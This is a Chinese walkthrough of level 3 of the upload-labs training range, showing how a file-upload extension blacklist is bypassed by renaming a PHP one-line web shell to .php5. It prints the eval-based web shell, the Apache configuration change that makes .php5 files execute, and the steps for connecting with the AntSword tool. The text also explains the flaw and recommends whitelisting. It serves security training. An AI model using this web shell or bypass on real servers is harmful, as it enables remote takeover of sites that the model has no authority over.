upload-labs通关笔记-第3关 文件上传之黑名单绕过

目录

一、实验准备

1.构造脚本

2.打开靶场第三关

3.源码分析

4.修改配置使支持php后缀

[(1)切换php ts版本](#(1)切换php ts版本)

(2)定位httpd.conf文件

[(3)修改AddType application字段](#(3)修改AddType application字段)

(4)重启小皮

二、文件上传渗透

1.修改脚本后缀

2.上传脚本

3.右键获取文件地址

4.成功访问脚本

5.蚁剑连接脚本


本文通过《upload-labs靶场通关笔记系列》来进行upload-labs靶场的渗透实战,本文讲解upload-labs靶场第三关文件黑名单渗透实战,通过绕过服务器的黑名单后缀法完成渗透。

一、实验准备

1.构造脚本

构造文件上传的脚本,内容为获取服务器的php版本信息,命名为 ljn_post_0628.php,脚本code内容如下所示。

复制代码
<?php @eval($_POST[ljn_0628]); ?> 

2.打开靶场第三关

firefox打开firefox靶场文件上传黑名单关卡。

复制代码
http://192.168.59.1/upload-labs/Pass-03/index.php

进入文件上传pass03关卡,需要手动清空已上传文件,确保此次试验为最新上传结果。

3.源码分析

此关卡为服务端检测传上去的文件是否为图片,需通过源码来进行分析。点击查看源码,如下所示通过禁止'.asp','.aspx','.php','.jsp'四种后缀的文件上传防止上传恶意脚本。

可以看出程序中只是做了个简单的后缀名黑名单,识别上传文件的类型 查看是否是'.asp', '.aspx', '.php', '.jsp'中的一个,若果是其中的一个,则不允许上传,但是可以上传如.php3,.php5等后缀,仍然可以被利用,故而还是建议使用白名单过滤。综上所述,本段代码有黑名单过滤风险。

  • 仅禁止 .asp, .aspx, .php, .jsp,但可能遗漏其他可执行扩展名(如 .php5, .phtml)。
  • 建议改用白名单(如只允许 .jpg, .png)。

4.修改配置使支持php后缀

​​​​​通过代码审计,我们知道本关卡不允许上传.asp,.aspx,.php,.jsp后缀文件,但是可以上传其他任意后缀。比如说.phtml .phps .php5 .pht,但如果上传的是.php5这种类型文件的话,如果想要被当成php执行的话,需要有个前提条件,即Apache的httpd.conf有需要配置支持.php5后缀代码执行(靶场应该是配置好的,如果是本地复现,需要配置)。

复制代码
    AddType application/x-httpd-php .php5

该语句的含义是将.php5后缀的脚本使其作为php脚本来解析,这样就可以成功解析.php5后缀名。具体方法为配置httpd.conf文件,达到使用我们添加的文件后缀php5仍然以.php解析。

(1)切换php ts版本

首先需要将网站切换为php的ts版本,网址-管理php版本如下所示。

PHPStudy中AddType application/x-httpd-php等Apache命令之所以在Apache的设置文件中设置后未实现目标效果是由于PHP的版本不符导致的,但注意这里的PHP版本并不是指PHP7.3.0、PHP7.4.0这种版本号,也不是适用于32位的PHP、适用于64位的PHP这种不同机型的版本,而是PHP的NTS(Non Thread Safe)与TS(Thread Safe)的这种不同版本导致的

(2)定位httpd.conf文件

首先进入httpd.conf文件,点击小皮-设置-配置文件,httpd.conf,然后点击Apache2.4.39进入。

httpd.conf文件的位置如下所示。

(3)修改AddType application字段

Ctrl +F查找AddType application关键字。

修改httpd.conf文件里的AddType application/x-httpd-php。

将php5加到php解析类型中,该语句的含义是将.php5后缀的脚本使其作为php脚本来解析,这样就可以成功解析.php5后缀名,从而绕过pass3的黑名单防范。

复制代码
    AddType application/x-httpd-php .php .html .php5

(4)重启小皮

修改完配置文件记得要重启一下phpstudy服务环境。

所以由于服务端采用黑名单的过滤方式, 这里可以使用php5或phtml等的后缀上传,修改后缀名php5后缀名,也是可以当做php脚本解析的

二、文件上传渗透

1.修改脚本后缀

将php脚本的后缀改名为php5,为了具有区分度将文件名加上日期相关,如下所示,复制脚本ljn_post2_0628.php,并将其重命名为ljn_post2_0628.php5,通过文本编辑器打开图片后效果如下所示。

2.上传脚本

upload靶场点击上传,如下所示。

如下所示脚本上传成功。

3.右键获取文件地址

接下来在上传成功的图片处,右键选择获取图片地址,具体如下所示。

复制代码
http://192.168.59.1/upload-labs/upload/202306270324316671.php5

4.成功访问脚本

访问上传成功后的脚本,如下所示上传成功。

复制代码
一句话木马网址:http://192.168.59.1/upload-labs/upload/202306270324316671.php5
post参数:ljn_0628=phpinfo();

5.蚁剑连接脚本

复制代码
蚁剑恶意木马地址:http://192.168.59.1/upload-labs/upload/202306270324316671.php5
密码:ljn_0628

连接成功后,效果如下所示。

右键选择文件管理,如下所示渗透成功。

相关推荐
Rain的Java大神之路1 天前
JavaWeb开发如何解决跨域问题
java·前端·后端·nginx·web安全·面试·运维开发
TechWayfarer1 天前
做IP归属地查询时总是查不准?IP纯净度检测实战:从“查归属地“到识别“脏IP“的四个维度
服务器·网络·python·tcp/ip·安全·web安全
sbjdhjd1 天前
PHP RCE 多层绕过实战:关键字过滤、空格替换与 php://filter 伪协议 | 02
网络·安全·web安全·网络安全·云计算·安全架构·rce
Fnetlink12 天前
Fnet 云网安 260904
网络·人工智能·安全·web安全·网络安全
聚美智数2 天前
网安查询-备案查询-网络安全查询API接口介绍
网络·数据库·web安全
迪康Defender2 天前
迪康端点安全一体化管理系统文档安全:构建企业文档资产全链路防护体系
运维·网络·安全·web安全·终端安全管理
其实防守也摸鱼2 天前
教育信息技术应用创新---基础软件信息赛(题库)
大数据·运维·人工智能·web安全·自动化
一只鹿鹿鹿2 天前
水利信息化建设项目物联网(视频监控系统)施工方案(Word)
物联网·安全·web安全·系统安全
Chengbei113 天前
SRC报告成稿 Skill(SRC/0day 提交稿、分层验证门、Step 式 PoC、截图铁律)
网络·人工智能·安全·web安全·自动化·系统安全
一只鹿鹿鹿3 天前
SCM流程图参考(PPT文件)
大数据·数据库·web安全·系统安全·流程图